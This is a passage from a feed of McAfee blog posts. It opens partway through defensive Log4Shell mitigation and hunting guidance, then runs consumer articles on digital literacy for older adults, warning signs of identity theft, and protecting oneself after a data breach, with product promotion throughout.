Ensure you run configuration audits for cloud assets that allow unrestricted outbound access and does not use firewalls or NAT GW’s for outbound connections. Run configuration audits for secondary misconfigurations that might allow the attacker to exploit IAM to elevate privileges, gain persistence or takeover other resources. 

MVISION Insights

Compares the available defensive capabilities on the endpoint to the attacker techniques, tools and IOC’s and highlights exposed endpoints.

MVISION EDR

You can perform real time searches in MVISION EDR to identify endpoints with Log4j binaries.

Blocking Exploitation Attempts

The attacker only succeeds if they can get to this stage so blocking outbound suspicious connections, preventing execution of additional payloads, and protecting credentials/auth tokens theft are things that could prove to be critical in defeating the attack. As part of the available threat intelligence attackers are using several post exploit methodologies to pivot from the original log4j injection vulnerability. This varies from misuse of resources with crypto miners, deploying malware, or exfiltrating sensitive information.

MVISION Cloud – Cloud Native Application Protection Platform (CNAPP)

Use Application Control (VM and Containers) to kill unverified server processes and payloads from executing.

OS Hardening (VM) – ensure that SE Linux state is enforcing

MVISION UCE

Use UCE URL filtering and Remote Browser Isolation to prevent browser-based exploit attempts over WebSocket and C2 attempts.

McAfee Endpoint Protection Platform

Use signature-based protection in ENS 10.7 to block known hashes of second stage malicious payloads. On December 12, 2021, McAfee Enterprise released V3 AMCore content 4648 (ENS) and V2 DAT 10196 (VSE). Generic detections are provided under the title Exploit-CVE-2021-44228.C.

In ENS (Endpoint Security) 10.7 update 4 and above, there is a powerful security feature available to every defender, which is the ability to trigger a memory scan from an Expert Rule. For more details on this capability, please see this blog post from our AC3 team

https://www.mcafee.com/blogs/enterprise/log4j-and-the-memory-that-knew-too-much

Additionally, it is recommended to enable the ENS ATP rules that prevent or detect post exploitation techniques such of second stage payload execution, credential dumping or encryption activity from ransomware, use of malicious tools or lateral movement.

Network Security Platform

An Emergency User Defined Signature has been written and tested by McAfee Enterprise to provide immediate protection against the Apache Log4j2 Remote Code Execution Vulnerability.

For details on latest signatures, please follow the KB…KB95091: McAfee Enterprise coverage for Apache Log4j CVE-2021-44228 Remote Code Execution

Detecting and Hunting for Exploitation Activities

Assuming breach is critical especially if you know that you had exposed assets and therefore, build forensics and post exploitation detection techniques this includes exploitation of living of the land binaries (LOLBINS), credential dumping as well as using information such as known file hashes / hunting queries to query web server / reverse proxy/ Network IPS logs.

MVISION Insights

In addition to an Intelligence Summary, Insights provides exportable YARA rules to find additional Indicators of Compromise.

MVISION EDR

As mentioned above, you can leverage Real Time and Historical Search functionality to proactively identify vulnerable systems or post exploit activity such as…

  • historical process execution spawning from Java as this could be a clear indicator that the parent java process was used to spawn additional malicious processes.
  • monitoring for detection of threats emanating from assets running Java
  • identify outbound communication attempts to known C2 domains through DNS or Web traffic

Identify Indicators of Compromise associated with exploit payloads

Data Exfiltration Visibility and Control with Cloud Security

Along with control on the endpoint, visibility into attacks and where data is being uploaded is also critical to stopping Data Exfiltration. Mapping threats to the MITRE ATT&CK Framework will provide visibility into ongoing attacks happening in the cloud and where security controls can be improved to stop future attacks.

Another critical method to stopping the exfiltration of data is putting restrictions against data uploads to non-sanctioned cloud storage. Limiting data uploads to only sanctioned Cloud Service Providers can stop external and insider threats from transferring data to Cloud Services that are questionable or not sanctioned. The Cloud Registry within MVISION Cloud/Unified Cloud Edge will provide ratings for well over 25,000 Cloud Service Providers so restrictions can be placed on CSPs with high risks or attributes that put company data at risk.

Summary

The current situation is dynamic and our resources to help you understand the attack and mitigations available are also evolving. For the latest updates on McAfee Enterprise threat intelligence and defender resources please continue to follow these sites

MCFE Log4Shell Vulnerability KB: https://kc.mcafee.com/corporate/index?page=content&id=KB95091

MCFE Log4Shell Security Bulletin: https://kc.mcafee.com/corporate/index?page=content&id=SB10377

MCFE Log4Shell Vulnerability Blog: https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/

MCFE Log4Shell Exploit Demonstration by McAfee ATR: https://www.linkedin.com/posts/mcafeeenterprise_cve-2021-44228-log4shell-exploitation-activity-6876241150219485184-URLE

MCFE LinkedIn Live Customer Briefing: https://www.linkedin.com/posts/mcafeeenterprise_mcafee-enterprise-atr-explore-the-internet-breaking-activity-6876614287197122560-wNuD

FEYE Log4Shell Vulnerability KB: https://community.fireeye.com/s/article/000003827

The post Threat Intelligence and Protections Update Log4Shell CVE-2021-44228 appeared first on McAfee Blog.

Helping Older Adults Build Strong Digital Literacy Skills

By Toni Birdsong

Most of us take our skills for granted when it comes to technology. We move effortlessly between applications and multiple devices. We install new software, set up numerous accounts, and easily clear technical hurdles that come our way. Unfortunately, that picture isn’t the norm for many older adults.  

Engaging with technology can be challenging for older adults. However, when digital literacy skills are neglected or avoided, everyday activities such as online bill paying, shopping, medical appointments, and even social media can be overwhelming. And, since the pandemic, the digital divide between older adults and digital skills has become even more evident.   

Digital Divide  

One Pew study revealed that older adults continue to lag behind younger adults when it comes to technology adoption in that 41% do not use the internet at all, 23% do not use cell phones, and over 75% say they require help when learning how to use new technology.   

Bridging the Gap 

The Pew study also highlighted good news: Attitudes shift for the better when older adults increase their digital skills and access the Internet more frequently. Fully 79% of older adults who use the internet regularly agree with the statement that “people without internet access are at a real disadvantage because of all the information they might be missing.” In comparison, 94% agree with the statement that “the internet makes it much easier to find information today than in the past.” 

So how can we help the older adults in our lives grow both their digital skills and their confidence? Building practical digital skills begin with a commitment to one another, to consistency, and to learning. Here are some tips to get you started.  

7 Ways to Boost Digital Literacy 

1. Schedule dedicated time.

If you are helping an older adult build their digital skills, it’s crucial to schedule dedicated training time. Commitment and consistency will be key to achieving real results. If you’re the older adult learning on your own, set aside dedicated learning time with clear goals. For instance, “Each day this week from 7 a.m. to 9 a.m. I will learn how to set up my email and how to maximize security on all my devices.”  

2. Choose your resources and go!

Fortunately, more and more resources are emerging to help older adults bridge their technology gaps, and most are free. A few places to begin include AARP’s Senior PlanetCandoo Tech, and GetSetUp. To find a program in your area, go to at3center.net. 

3. Prioritize cybersecurity. 

Online security is one of the most critical conversations you can have with the older adults in your life. Following best practices such as installing security software, using strong passwords with Two-Factor Authentication (2FA), understanding data privacy, and knowing how to identify phishing and malware scams are fundamental components of digital literacy. For a deeper dive into cybersecurity best practices, read more 

4. Explore media literacy.

Older adults can easily fall prey to scams, conspiracies, hoaxes, and false news stories online. A recent study out of Princeton and NYU found that, prior to the 2016 election, adults over 65 were seven times more likely than those under 29 to post articles from fake news domains.Understanding how to spot misinformation online is a critical skill for anyone online. One resource to build media literacy is MediaWise for Seniors, a series of free online courses by Poynter designed to help older adults detect and combat fake news and misinformation. In addition, consider dialogue on how to challenge each piece of digital content by asking: 

  • Do I understand all the points of view of this story? 
  • What do I think about this topic or idea? 
  • Am I overly emotional and eager to share this publicly? 
  • Am I being manipulated by this content? 
  • What if I’m wrong? 

5. Avoid technical jargon. 

Jargon excludes and when you use insider language with a non-technical person, it can get overwhelming. Slow down. Use ordinary terms. For instance, instead of the hyperlink, consider “link.” Instead of URL, opt for “website address.” Rather than DM/PM, use “Private Message.” Note: Avoiding jargon doesn’t mean you dumb down to a person; it means using plain language to explain the same concept.   

6. Be patient. 

It’s a myth (and an unfortunate stereotype) that older adults don’t have the ability or don’t want to learn about technology. Frankly, they can, and they do. However, physical and mental changes are part of the aging process, which means repetition and patience are part of the process. Consider creating easy-to-read cheat sheets to summarize the day’s lesson.  

Technology is impacting our lives in myriad ways, and no one feels this reality pressing in more than older adults. If you find yourself in the privileged position of coaching an older adult toward digital confidence, remind them of the gains ahead and that the gap from “here” to “there” isn’t nearly as large as they’ve imagined. Whenever possible, point their sights to the proven benefits of stepping off the sidelines and into a connected world.  

The post Helping Older Adults Build Strong Digital Literacy Skills appeared first on McAfee Blog.

9 Ways to Determine If Your Identity Has Been Stolen

By McAfee

Most of us use the internet every day, so we’re comfortable sharing a lot of information online. However, cybercriminals want us to get a bit too comfortable so they can take our personal or financial data and use it for their benefit. This is called identity theft, and it can cost people money and may dip their credit score.

Fortunately, you can help minimize what happens by knowing the signs of identity theft and taking fast action when you recognize them. Find out how below.

How does identity theft happen?

Being online comes with many benefits, but it can also come with some risks. Identity theft usually begins with the criminal accessing sensitive personal data, such as Social Security numbers, birth dates, home addresses, bank account information, and driver’s license details. The fraudster can then take this information to fake your identity, using it to take out credit cards, apply for loans, and more.

Here’s a quick look at some ways identity thieves can get their hands on your valuable data:

  • Phishing scams: Phishing scams can come in the form of mail, email, or websites. They may involve an identity thief pretending to be an entity you trust, like your own bank or insurance provider, to extract personal data.
  • Data breaches: Many companies store your data, from your health care provider to your internet service provider. For example, you may save payment details for your favorite shopping site. If hackers target those companies in a data breach, they can leak or access your sensitive information.
  • Social media snooping: Criminals may look to your social media to get information, like your birthdate and home address. Even seemingly innocent details, like the names of your children or pets, can be of interest to an identity thief. Why? People often use these details in their passwords.
  • Hacking devices: Hackers may try to infiltrate your computer, tablet, or mobile device through viruses or malware. That’s where antivirus software can help. McAfee’s Total Protection service works for you by protecting your devices and personal information from criminals.
  • Simple theft: Not all identity thieves use advanced methods to get your information. In fact, a person can steal your phone and access any personal data you have on it if they can unlock it. Since many people save passwords to sensitive accounts on their devices, they are easy to hack.
  • Dumpster diving: This is another example of a less tech-savvy approach to identity theft. If you throw away documents with sensitive data, thieves may get the information they want from your garbage. For example, bank account statements contain your account numbers, while pay stubs may include Social Security numbers. You should always shred paperwork before tossing it.

There are many ways thieves can get their hands on your data. Luckily, there are ways you can protect yourself against these methods. For example, you can protect your computer, tablet, or mobile device against hackers by equipping it with a strong password and safeguarding against phishing by adding a firewall and utilizing a virtual private network (VPN) like those offered by McAfee.

9 warning signs your identity has been stolen

With some best practices, you can protect your data and help safeguard you and your family against identity theft. One way to continue living your best life online is to watch for potential warning signs of identity theft. This ensures you can take fast action and minimize the effects if you’re targeted. Here are some essential signs to look out for.

You’re alerted to a credit card charge you didn’t make

Financial identity theft is one of the most common types of identity theft, and credit cards are a popular target. The rise in online shopping has made credit card fraud even more common.

Your online banking portal or app should allow you to set up alerts to email, call, or text you about suspected fraudulent credit card charges. If you get an alert, someone may have taken your identity.

Your loan or credit card application was denied

If you apply for a loan or line of credit and your application is denied, dig deeper. A rejection could indicate that your credit score is lower than you thought, possibly due to fraudulent activity. For example, someone may use your information to get new credit cards and not pay them off, leaving you responsible.

There’s a change to your credit score

Changes in your credit score can indicate identity theft. For example, if someone takes out utility bills in your name and doesn’t pay them, your credit score may dip. Checking your credit report from each of the three major credit bureaus (Equifax, Experian, and TransUnion) can help pinpoint the problem.

The Federal Trade Commission (FTC) allows U.S. consumers to get a free credit report every 12 months. Just visit AnnualCreditReport.com to get a copy of yours from the credit reporting agencies. You can also pay for credit monitoring services to track your score.

There’s a new account you didn’t open under your name

Once identity thieves obtain enough data, including your name and address, they might be able to open new accounts and credit cards. When you check your credit report, keep an eye out for new accounts that you didn’t open. Another red flag is if you start getting bank statements or bills addressed to you for accounts you don’t recognize.

Your information was part of a data breach

Companies are required to notify customers of data breaches that could impact them. For example, if you save your payment information and home address on a music streaming provider’s website and their database is hacked, identity thieves may get your data. Keep an eye out for notifications and read the news. The McAfee blog is another great resource for information on data breaches.

Debt collectors call about accounts you never opened

If debt collectors start calling, be cautious, especially if they’re referring to accounts you aren’t familiar with. Don’t provide personal information to any collection agencies that call, as this can be a potential phishing scam. However, it’s a good idea to follow up on these cases by checking your credit report for new accounts. You could be liable if someone opened accounts under your name and didn’t pay them.

You receive bills for medical services you never used

Medical theft occurs when a fraudster imitates another person to get health care or supplies. For example, a person might use your identity to get prescription medication at a pharmacy. If you get unfamiliar medical bills, follow up. Incorrect medical records could impact your insurance premiums or interfere with your ability to get the care you need in the future.

Mail is addressed to your home but with another person’s name

This could be an indicator of synthetic identity theft. This occurs when a fraudster creates a fake identity using various people’s real information. For example, they may use your address and Social Security number and another person’s photo to create a fake persona that’s creditworthy. They can then take out credit cards in that fake person’s name.

A tax return is filed under your name without your knowledge

If you receive a confirmation of an annual tax filing before you’ve filed, take note. Criminals may try to file a tax return for another person to access their tax refund. Alternatively, you may find that you’re unable to e-file your taxes, which can occur if someone else has already filed under your name.

What to do if you think your identity has been stolen

No one wants their identity stolen, but it’s still good to be prepared if it does happen. If you notice the above red flags, here are some steps you may need to take:

  • Change passwords and login details for any affected accounts. If you use the same password for other accounts, change those too. The good news is that McAfee’s identity protection services come with a password manager, so you don’t have to worry about remembering your credentials across devices.
  • Freeze accounts with banks or credit card companies that show any suspicious activity, including debit and credit card Most financial institutions have a dedicated fraud department to help.
  • Review your credit reports if you haven’t already and report any suspected fraud to the respective credit bureau.
  • Contact local law enforcement to file a police report for lost or stolen credit cards, driver’s licenses, and more. Also, report your lost license to the DMV.
  • Alert the IRS fraud alert department in case of tax-related fraud.
  • Report Social Security-related fraudulent activity to the relevant government agency, the Social Security Administration’s Office of the Inspector General.
  • Place a freeze on your credit report. This blocks access to it to extend credit, ensuring no one can take out new lines of credit in your name.

You may also want to visit IdentityTheft.gov to report identity theft and find resources to help guide your recovery plan.

Get personalized online protection

Worries about identity fraud shouldn’t prevent your household from enjoying the benefits of a connected world. McAfee’s identity theft protection services can help you enjoy everyday conveniences while keeping you safe. Packages can be tailored to your needs, including 24/7 monitoring, ID theft coverage, VPN services, and more. It’s guided online protection made easy.

The post 9 Ways to Determine If Your Identity Has Been Stolen appeared first on McAfee Blog.

How to Protect Yourself From Identity Theft After a Data Breach

By Pravat Lall

Did you just get word that your personal information may have been caught up in a data breach? If so, you can take steps to protect yourself from harm should your info get into the hands of a scammer or thief. 

How does that information get collected in the first place? We share personal information with companies for multiple reasons simply by going about our day—to pay for takeout at our favorite restaurant, to check into a hotel, or to collect rewards at the local coffee shop. Of course, we use our credit and debit cards too, sometimes as part of an online account that tracks our purchase history.  

In other words, we leave trails of data practically wherever we go these days, and that data is of high value to hackers. Thus, all those breaches we read about.  

Data breaches are a (sad) fact of life  

Whether it’s a major breach that exposes millions of records or one of many other smaller-scale breaches like the thousands that have struck healthcare providers, each one serves as a reminder that data breaches happen regularly and that we could find ourselves affected. Depending on the breach and the kind of information you’ve shared with the business or organization in question, information stolen in a breach could include:  

  • Usernames and passwords  
  • Email addresses  
  • Phone numbers and home addresses  
  • Contact information for friends and family members  
  • Birthdays and driver’s license numbers  
  • Credit and debit card numbers or bank account details  
  • Purchase history and account activity  
  • Social security numbers  

What do crooks do with that data? Several things. Apart from using it themselves, they may sell that data to other criminals. Either way, this can lead to illicit use of credit and debit cards, draining of bank accounts, claiming tax refunds or medical expenses in the names of the victims, or, in extreme cases, assuming the identity of others altogether.   

Examples of data breaches over the recent years  

In all, data is a kind of currency in of itself because it has the potential to unlock several aspects of victim’s life, each with its own monetary value. It’s no wonder that big breaches like these have made the news over the years, with some of the notables including:  

  • U-Haul – 2022: A breach which accessed their customer contracts system between November 2021 and April 2022 exposed the names, driver’s license numbers, and state ID numbers of 2.2 million renters.  
  • Los Angeles Unified School District – 2022: Hackers released 500 GB of highly sensitive information after a breach and when their subsequent ransomware demands were not met, exposing Social Security and passport numbers, health information, and psychological assessments of some students. 
  • Facebook – 2021: Two sets of data exposed the records of more than 530 million users, including phone numbers, account names, and Facebook IDs. According to Facebook, the source of the breach dated back to 2019, at which time the flaw was remedied, even though the information was exposed in 2021. 
  • Marriott International (Starwood) – 2018: Half a million guests had names, email and physical mailing addresses, phone numbers, passport numbers, Starwood Preferred Guest account information, dates of birth, and other information about their stays exposed.  
  • Equifax – 2017: Some 147 million records that included names, addresses, dates of birth, driver’s license numbers, and Social Security Numbers were exposed, along with a relatively small subset of 200,000 victims having their credit card information exposed as well.  

As mentioned, these are big breaches with big companies that we likely more than recognize. Yet smaller and mid-sized businesses are targets as well, with some 43% of data breaches involving companies of that size. Likewise, restaurants and retailers have seen their Point-of-Sale (POS) terminals compromised, right on down to neighborhood restaurants.  

Staying secure in light of data breaches  

When a company experiences a data breach, customers need to realize that this could impact their online safety. If your favorite coffee shop’s customer database gets leaked, there’s a chance that your personal or financial information was exposed. However, this doesn’t mean that your online safety is doomed. If you think you were affected by a breach, you can take several steps to protect yourself from the potential side effects.   

1. Keep an eye on your bank and credit card accounts 

One of the most effective ways to determine whether someone is fraudulently using one or more of your accounts is to check your statements. If you see any charges that you did not make, report them to your bank or credit card company immediately. They have processes in place to handle fraud. While you’re with them, see if they offer alerts for strange purchases, transactions, or withdrawals.  

Our credit monitoring service can help you keep an eye on this. It monitors changes to your credit score, report, and accounts with timely notifications and guidance so you can take action to tackle identity theft. 

2. Monitor your identity with the help of a service

Breached and stolen information often ends up in dark web marketplaces where hackers, scammers, and thieves purchase it to commit yet more crime. Once it was difficult to know if your information was caught up in such marketplaces, yet now an identity monitoring service can do the detective work for you. 

Our service monitors the dark web for your personal info, including email, government IDs, credit card and bank account info, and more. This can help keep your personal info safe with early alerts that show you if your data is found on the dark web, an average of 10 months ahead of similar services.​ From there, you’ll get guidance that you can act on, which can help protect your info and accounts from theft. 

3. Place a fraud alert

If you suspect that your data might have been compromised, place a fraud alert on your credit. This not only ensures that any new or recent requests undergo scrutiny, but also allows you to have extra copies of your credit report so you can check for suspicious activity. You can place one fraud alert with any of the three major credit reporting agencies (Equifax, Experian, TransUnion) and they will notify the other two. A fraud alert typically lasts for a year, although there are options for extending it as well.  

4. Look into freezing your credit if needed 

Freezing your credit will make it highly difficult for criminals to take out loans or open new accounts in your name, as a freeze halts all requests to pull your credit—even legitimate ones. In this way, it’s a far stronger measure than placing a fraud alert. Note that if you plan to take out a loan, open a new credit card, or other activity that will prompt a credit report, you’ll need to take extra steps to see that through while the freeze is in place. (The organization you’re working with can assist with the specifics.) Unlike the fraud alert, you’ll need to contact each major credit reporting agency to put one in place. Also, a freeze lasts as long as you have it in place. You’ll have to remove it yourself, again with each agency.  

You can centrally manage this process with our security freeze service, which stops companies from looking at your credit profile, and thus halts the application process for loans, credit cards, utilities, new bank accounts, and more. A security freeze won’t affect your credit score. ​ 

5. Update your passwords 

Ensure that your passwords are strong and unique. Many people utilize the same password or variations of it across all their accounts. Therefore, be sure to diversify your passcodes to ensure hackers cannot obtain access to all your accounts at once, should one password be compromised. You can also employ a password manager to keep track of your credentials, such as the one you’ll find in comprehensive online protection software.  

6. Consider taking out identity theft coverage 

If the unfortunate happens to you, an identity theft coverage & restoration service can help you get back on your feet. Ours offers $1 million in coverage for lawyer fees, travel expenses, and stolen funds reimbursement. It further provides support from a licensed recovery expert who can take the needed steps to repair your identity and credit. In all, it helps you recover the costs of identity theft along with the time and money it takes to recover from it. 

7. Clean up your personal data online

You can take this step any time, even if you haven’t been caught up in a data breach. The fact is that data broker companies collect and sell thousands of pieces of information on millions and millions of people worldwide, part of a global economy estimated at $200 billion U.S. dollars a year. And they’ll sell it to anyone—from advertisers for their campaigns, to scammers who will use it for spammy emails, texts, and calls, and to thieves who use that information for identity theft.  

Yet you can clean it up. Our personal data cleanup service can scan some of the riskiest data broker sites and show you which ones are selling your personal info. It also provides guidance on how you can remove your data from those sites and, with select products, even manage the removal for you. 

8. Use online protection software and expand your security toolbox 

Comprehensive online protection software will offer you the tools and services listed above, along with further features that can protect you online. That includes a VPN to keep your time online more private from online data collection while protecting it from thieves who’re out to steal credit card and account information. It also includes web browsing protection that can warn you of sketchy websites and malicious downloads that look to steal your information. In all, it’s thorough protection for your devices, privacy, and identity. And in a time of data breaches, that kind of protection has become essential.   

The post How to Protect Yourself From Identity Theft After a Data Breach appeared first on McAfee Blog.

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